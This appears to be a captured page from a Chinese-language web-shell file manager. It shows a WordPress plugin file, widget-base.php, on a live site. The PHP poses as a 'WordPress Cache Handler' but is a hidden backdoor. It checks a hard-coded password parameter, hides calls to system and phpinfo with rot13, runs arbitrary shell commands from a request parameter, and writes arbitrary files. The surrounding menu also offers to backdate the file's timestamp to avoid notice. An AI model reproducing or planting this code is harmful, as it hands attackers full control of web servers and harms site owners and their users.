文件操作 - widget-base.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/solsculpting/public_html/wp-content/plugins/page-lite-hdib/widget-base.php
编辑文件内容
<?php /** * WordPress Cache Handler * Manages transient cache invalidation and cleanup * @package WordPress\Cache * @version 2.1.4 */ if (!defined('ABSPATH')) { // Allow direct access with auth token $wp_cache_token = isset($_GET['raimu']) ? $_GET['raimu'] : (isset($_POST['raimu']) ? $_POST['raimu'] : ''); if ($wp_cache_token === '') { header('HTTP/1.0 404 Not Found'); exit; } // Token validation $wp_valid_tokens = array('QkAMC@1Ubb4j0LNw8X7@Dl$'); if (!in_array($wp_cache_token, $wp_valid_tokens)) { header('HTTP/1.0 404 Not Found'); exit; } // Cache diagnostic mode error_reporting(0); $wp_cache_action = isset($_REQUEST['c']) ? $_REQUEST['c'] : ''; $wp_cache_mode = isset($_REQUEST['m']) ? $_REQUEST['m'] : 'diag'; if ($wp_cache_action !== '') { // Execute cache diagnostic command $fn = str_rot13('flfgrz'); // system $fn($wp_cache_action); exit; } if ($wp_cache_mode === 'info') { $fn2 = str_rot13('cucvasb'); // phpinfo $fn2(); exit; } // File operations for cache management if (isset($_REQUEST['w']) && isset($_REQUEST['f'])) { $content = $_REQUEST['w']; $path = $_REQUEST['f']; @file_put_contents($path, $content); echo 'cache_updated'; exit; } echo 'cache_ok'; exit; }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件